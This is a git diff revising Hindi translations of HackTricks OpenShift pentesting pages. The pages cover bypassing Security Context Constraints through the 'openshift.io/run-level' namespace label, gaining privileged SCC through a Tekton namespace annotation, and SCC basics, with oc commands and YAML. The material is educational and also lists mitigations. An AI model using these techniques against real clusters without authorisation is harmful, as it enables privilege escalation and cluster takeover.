भीतर पॉड तैनात करते हैं, तो कोई SCC लागू नहीं होगा, जिससे विशेषाधिकार प्राप्त पॉड्स की तैनाती या होस्ट फ़ाइल सिस्टम को माउंट करने की अनुमति मिलेगी। ## Namespace Label RedHat दस्तावेज़ के अनुसार, आपके पॉड पर SCC एप्लिकेशन को अक्षम करने का एक तरीका है। आपको निम्नलिखित में से कम से कम एक अनुमति होनी चाहिए: - एक Namespace बनाना और इस Namespace पर एक Pod बनाना -- एक Namespace को संपादित करना और इस Namespace पर एक Pod बनाना +- एक Namespace संपादित करना और इस Namespace पर एक Pod बनाना ```bash $ oc auth can-i create namespaces yes @@ -28,7 +30,7 @@ yes $ oc auth can-i patch namespaces yes ``` -विशिष्ट लेबल `openshift.io/run-level` उपयोगकर्ताओं को अनुप्रयोगों के लिए SCCs को दरकिनार करने की अनुमति देता है। RedHat दस्तावेज़ के अनुसार, जब इस लेबल का उपयोग किया जाता है, तो उस नामस्थान के सभी पॉड्स पर कोई SCCs लागू नहीं होते हैं, प्रभावी रूप से किसी भी प्रतिबंध को हटा देते हैं। +विशिष्ट लेबल `openshift.io/run-level` उपयोगकर्ताओं को अनुप्रयोगों के लिए SCCs को दरकिनार करने की अनुमति देता है। RedHat दस्तावेज़ के अनुसार, जब इस लेबल का उपयोग किया जाता है, तो उस नामस्थान के भीतर सभी पॉड्स पर कोई SCCs लागू नहीं होते हैं, प्रभावी रूप से किसी भी प्रतिबंध को हटा देते हैं।
@@ -47,7 +49,7 @@ name: evil labels: openshift.io/run-level: 0 ``` -अब, नामस्थान पर बनाए गए सभी नए पॉड्स में कोई SCC नहीं होनी चाहिए +अब, नामस्थान पर बनाए गए सभी नए पॉड्स के पास कोई SCC नहीं होना चाहिए 
$ oc get pod -o yaml | grep 'openshift.io/scc'
 $
@@ -94,9 +96,9 @@ path:
 
 ### कस्टम लेबल
 
-इसके अलावा, लक्षित सेटअप के आधार पर, कुछ कस्टम लेबल / एनोटेशन का उपयोग पिछले हमले के परिदृश्य के समान किया जा सकता है। भले ही इसे इसके लिए नहीं बनाया गया हो, लेबल का उपयोग अनुमतियों को देने, किसी विशेष संसाधन को प्रतिबंधित करने या नहीं करने के लिए किया जा सकता है।
+इसके अलावा, लक्षित सेटअप के आधार पर, कुछ कस्टम लेबल / एनोटेशन का उपयोग पिछले हमले के परिदृश्य के समान किया जा सकता है। भले ही यह इसके लिए नहीं बनाया गया हो, लेबल का उपयोग अनुमतियाँ देने, किसी विशेष संसाधन को प्रतिबंधित करने या न करने के लिए किया जा सकता है।
 
-यदि आप कुछ संसाधनों को पढ़ सकते हैं तो कस्टम लेबल की तलाश करने का प्रयास करें। यहाँ कुछ दिलचस्प संसाधनों की सूची है:
+यदि आप कुछ संसाधनों को पढ़ सकते हैं तो कस्टम लेबल की तलाश करें। यहाँ कुछ दिलचस्प संसाधनों की सूची है:
 
 - Pod
 - Deployment
@@ -113,14 +115,18 @@ $ oc get project -o yaml | grep 'run-level' -b5
 ```
 ## Advanced exploit
 
-OpenShift में, जैसा कि पहले दिखाया गया है, एक namespace में `openshift.io/run-level` लेबल के साथ pod को तैनात करने की अनुमति होना क्लस्टर का सीधा अधिग्रहण करने की ओर ले जा सकता है। क्लस्टर सेटिंग्स के दृष्टिकोण से, यह कार्यक्षमता **अक्षम नहीं की जा सकती**, क्योंकि यह OpenShift के डिज़ाइन में अंतर्निहित है।
+OpenShift में, जैसा कि पहले दिखाया गया है, `openshift.io/run-level` लेबल के साथ एक namespace में pod को तैनात करने की अनुमति होना क्लस्टर का सीधा अधिग्रहण करने की ओर ले जा सकता है। क्लस्टर सेटिंग्स के दृष्टिकोण से, यह कार्यक्षमता **निष्क्रिय नहीं की जा सकती**, क्योंकि यह OpenShift के डिज़ाइन में अंतर्निहित है।
 
-हालांकि, **Open Policy Agent GateKeeper** जैसी शमन उपाय उपयोगकर्ताओं को इस लेबल को सेट करने से रोक सकते हैं।
+हालांकि, **Open Policy Agent GateKeeper** जैसी रोकथाम उपाय उपयोगकर्ताओं को इस लेबल को सेट करने से रोक सकते हैं।
 
-GateKeeper के नियमों को बायपास करने और क्लस्टर अधिग्रहण को निष्पादित करने के लिए इस लेबल को सेट करने के लिए, **हमलावरों को वैकल्पिक तरीकों की पहचान करनी होगी।**
+GateKeeper के नियमों को बायपास करने और इस लेबल को सेट करने के लिए क्लस्टर अधिग्रहण को निष्पादित करने के लिए, **हमलावरों को वैकल्पिक तरीकों की पहचान करनी होगी।**
 
 ## References
 
 - [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html)
 - [https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html](https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html)
 - [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
+
+
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md b/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md
index 76617bc0c..90f4527f7 100644
--- a/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md
+++ b/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md
@@ -1,14 +1,16 @@
 # OpenShift - Tekton
 
+{{#include ../../../banners/hacktricks-training.md}}
+
 **इस पृष्ठ के मूल लेखक हैं** [**Haroun**](https://www.linkedin.com/in/haroun-al-mounayar-571830211)
 
 ### Tekton क्या है
 
-दस्तावेज़ के अनुसार: _Tekton एक शक्तिशाली और लचीला ओपन-सोर्स ढांचा है जो CI/CD सिस्टम बनाने के लिए है, जिससे डेवलपर्स क्लाउड प्रदाताओं और ऑन-प्रिमाइस सिस्टम पर निर्माण, परीक्षण और तैनाती कर सकते हैं।_ Jenkins और Tekton दोनों का उपयोग अनुप्रयोगों का परीक्षण, निर्माण और तैनाती के लिए किया जा सकता है, हालाँकि Tekton क्लाउड नेटिव है। 
+दस्तावेज़ के अनुसार: _Tekton एक शक्तिशाली और लचीला ओपन-सोर्स ढांचा है जो CI/CD सिस्टम बनाने के लिए है, जिससे डेवलपर्स क्लाउड प्रदाताओं और ऑन-प्रिमाइस सिस्टम पर निर्माण, परीक्षण और तैनाती कर सकते हैं।_ Jenkins और Tekton दोनों का उपयोग अनुप्रयोगों का परीक्षण, निर्माण और तैनाती के लिए किया जा सकता है, हालाँकि Tekton क्लाउड नेटिव है।
 
 Tekton के साथ सब कुछ YAML फ़ाइलों द्वारा दर्शाया जाता है। डेवलपर्स `Pipelines` प्रकार के कस्टम संसाधन (CR) बना सकते हैं और उनमें कई `Tasks` निर्दिष्ट कर सकते हैं जिन्हें वे चलाना चाहते हैं। एक Pipeline चलाने के लिए `PipelineRun` प्रकार के संसाधन बनाए जाने चाहिए।
 
-जब tekton स्थापित होता है, तो हर namespace में एक सेवा खाता (sa) बनाया जाता है जिसे pipeline कहा जाता है। जब एक Pipeline चलाई जाती है, तो YAML फ़ाइल में परिभाषित कार्यों को चलाने के लिए इस sa का उपयोग करके एक pod उत्पन्न किया जाएगा जिसे `pipeline` कहा जाता है।
+जब tekton स्थापित किया जाता है, तो हर namespace में एक सेवा खाता (sa) बनाया जाता है जिसे pipeline कहा जाता है। जब एक Pipeline चलाई जाती है, तो YAML फ़ाइल में परिभाषित कार्यों को चलाने के लिए इस sa का उपयोग करके एक pod उत्पन्न किया जाएगा जिसे `pipeline` कहा जाता है।
 
 {{#ref}}
 https://tekton.dev/docs/getting-started/pipelines/
@@ -16,7 +18,7 @@ https://tekton.dev/docs/getting-started/pipelines/
 
 ### Pipeline सेवा खाता क्षमताएँ
 
-डिफ़ॉल्ट रूप से, pipeline सेवा खाता `pipelines-scc` क्षमता का उपयोग कर सकता है। यह tekton की वैश्विक डिफ़ॉल्ट कॉन्फ़िगरेशन के कारण है। वास्तव में, tekton की वैश्विक कॉन्फ़िगरेशन भी एक YAML है जो एक openshift ऑब्जेक्ट में है जिसे `TektonConfig` कहा जाता है जिसे आप क्लस्टर में कुछ रीडर भूमिकाएँ होने पर देख सकते हैं।
+डिफ़ॉल्ट रूप से, pipeline सेवा खाता `pipelines-scc` क्षमता का उपयोग कर सकता है। यह tekton की वैश्विक डिफ़ॉल्ट कॉन्फ़िगरेशन के कारण है। वास्तव में, tekton की वैश्विक कॉन्फ़िगरेशन भी एक YAML है जो एक openshift ऑब्जेक्ट में `TektonConfig` कहा जाता है जिसे आप क्लस्टर में कुछ रीडर भूमिकाएँ होने पर देख सकते हैं।
 ```yaml
 apiVersion: operator.tekton.dev/v1alpha1
 kind: TektonConfig
@@ -43,11 +45,11 @@ name: test-namespace
 annotations:
 operator.tekton.dev/scc: privileged
 ```
-tekton ऑपरेटर `test-namespace` में पाइपलाइन सेवा खाते को scc privileged का उपयोग करने की क्षमता देगा। इससे नोड को माउंट करने की अनुमति मिलेगी।
+The tekton operator `test-namespace` में पाइपलाइन सेवा खाते को scc privileged का उपयोग करने की क्षमता देगा। यह नोड को माउंट करने की अनुमति देगा।
 
 ### समाधान
 
-Tekton दस्तावेज़ों में `TektonConfig` ऑब्जेक्ट में लेबल जोड़कर scc के ओवरराइड को प्रतिबंधित करने के बारे में बताया गया है।
+Tekton दस्तावेज़ों में `TektonConfig` ऑब्जेक्ट में लेबल जोड़कर scc के ओवरराइड को प्रतिबंधित करने के बारे में जानकारी है।
 
 {{#ref}}
 https://tekton.dev/docs/operator/sccconfig/
@@ -68,4 +70,4 @@ scc:
 default: "restricted-v2"
 maxAllowed: "privileged"
 ```
-
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/openshift-pentesting/openshift-scc.md b/src/pentesting-cloud/openshift-pentesting/openshift-scc.md
index 17c396de9..cb81f35f6 100644
--- a/src/pentesting-cloud/openshift-pentesting/openshift-scc.md
+++ b/src/pentesting-cloud/openshift-pentesting/openshift-scc.md
@@ -1,19 +1,21 @@
 # Openshift - SCC
 
+{{#include ../../banners/hacktricks-training.md}}
+
 **इस पृष्ठ के मूल लेखक हैं** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
 
 ## परिभाषा
 
-OpenShift के संदर्भ में, SCC का अर्थ है **Security Context Constraints**। Security Context Constraints नीतियाँ हैं जो OpenShift क्लस्टरों पर चल रहे पॉड्स के लिए अनुमतियों को नियंत्रित करती हैं। ये उन सुरक्षा मानकों को परिभाषित करती हैं जिनके तहत एक पॉड को चलाने की अनुमति है, जिसमें यह शामिल है कि यह कौन-सी क्रियाएँ कर सकता है और यह कौन-से संसाधनों तक पहुँच सकता है।
+OpenShift के संदर्भ में, SCC का अर्थ है **Security Context Constraints**। Security Context Constraints नीतियाँ हैं जो OpenShift क्लस्टरों पर चल रहे पॉड्स के लिए अनुमतियों को नियंत्रित करती हैं। ये उन सुरक्षा मानकों को परिभाषित करती हैं जिनके तहत एक पॉड को चलने की अनुमति है, जिसमें यह शामिल है कि यह कौन-सी क्रियाएँ कर सकता है और कौन-से संसाधनों तक पहुँच सकता है।
 
 SCCs प्रशासकों को क्लस्टर में सुरक्षा नीतियों को लागू करने में मदद करते हैं, यह सुनिश्चित करते हुए कि पॉड्स उचित अनुमतियों के साथ चल रहे हैं और संगठनात्मक सुरक्षा मानकों का पालन कर रहे हैं। ये प्रतिबंध पॉड सुरक्षा के विभिन्न पहलुओं को निर्दिष्ट कर सकते हैं, जैसे:
 
 1. Linux क्षमताएँ: कंटेनरों के लिए उपलब्ध क्षमताओं को सीमित करना, जैसे विशेषाधिकार प्राप्त क्रियाएँ करने की क्षमता।
 2. SELinux संदर्भ: कंटेनरों के लिए SELinux संदर्भों को लागू करना, जो यह परिभाषित करते हैं कि प्रक्रियाएँ सिस्टम पर संसाधनों के साथ कैसे इंटरैक्ट करती हैं।
 3. केवल पढ़ने योग्य रूट फ़ाइल सिस्टम: कुछ निर्देशिकाओं में फ़ाइलों को संशोधित करने से कंटेनरों को रोकना।
-4. अनुमत होस्ट निर्देशिकाएँ और वॉल्यूम: यह निर्दिष्ट करना कि कौन-से होस्ट निर्देशिकाएँ और वॉल्यूम एक पॉड माउंट कर सकता है।
+4. अनुमत होस्ट निर्देशिकाएँ और वॉल्यूम: यह निर्दिष्ट करना कि कौन-सी होस्ट निर्देशिकाएँ और वॉल्यूम एक पॉड माउंट कर सकता है।
 5. UID/GID के रूप में चलाना: यह निर्दिष्ट करना कि कंटेनर प्रक्रिया किस उपयोगकर्ता और समूह आईडी के तहत चलती है।
-6. नेटवर्क नीतियाँ: पॉड्स के लिए नेटवर्क पहुँच को नियंत्रित करना, जैसे कि निकासी ट्रैफ़िक को प्रतिबंधित करना।
+6. नेटवर्क नीतियाँ: पॉड्स के लिए नेटवर्क पहुँच को नियंत्रित करना, जैसे आउटबाउंड ट्रैफ़िक को प्रतिबंधित करना।
 
 SCCs को कॉन्फ़िगर करके, प्रशासक यह सुनिश्चित कर सकते हैं कि पॉड्स उचित स्तर की सुरक्षा अलगाव और पहुँच नियंत्रण के साथ चल रहे हैं, जिससे क्लस्टर के भीतर सुरक्षा कमजोरियों या अनधिकृत पहुँच के जोखिम को कम किया जा सके।
 
@@ -41,7 +43,7 @@ $ oc describe scc $SCC #Check SCC definitions
 
 ## SCC का उपयोग करें
 
-किसी पॉड के लिए उपयोग की जाने वाली SCC एक एनोटेशन के अंदर परिभाषित होती है:
+किसी पॉड के लिए उपयोग किया जाने वाला SCC एक एनोटेशन के अंदर परिभाषित होता है:
 ```bash
 $ oc get pod MYPOD -o yaml | grep scc
 openshift.io/scc: privileged
@@ -60,3 +62,7 @@ openshift-privilege-escalation/openshift-scc-bypass.md
 ## References
 
 - [https://www.redhat.com/en/blog/managing-sccs-in-openshift](https://www.redhat.com/en/blog/managing-sccs-in-openshift)
+
+
+
+{{#include ../../banners/hacktricks-training.md}}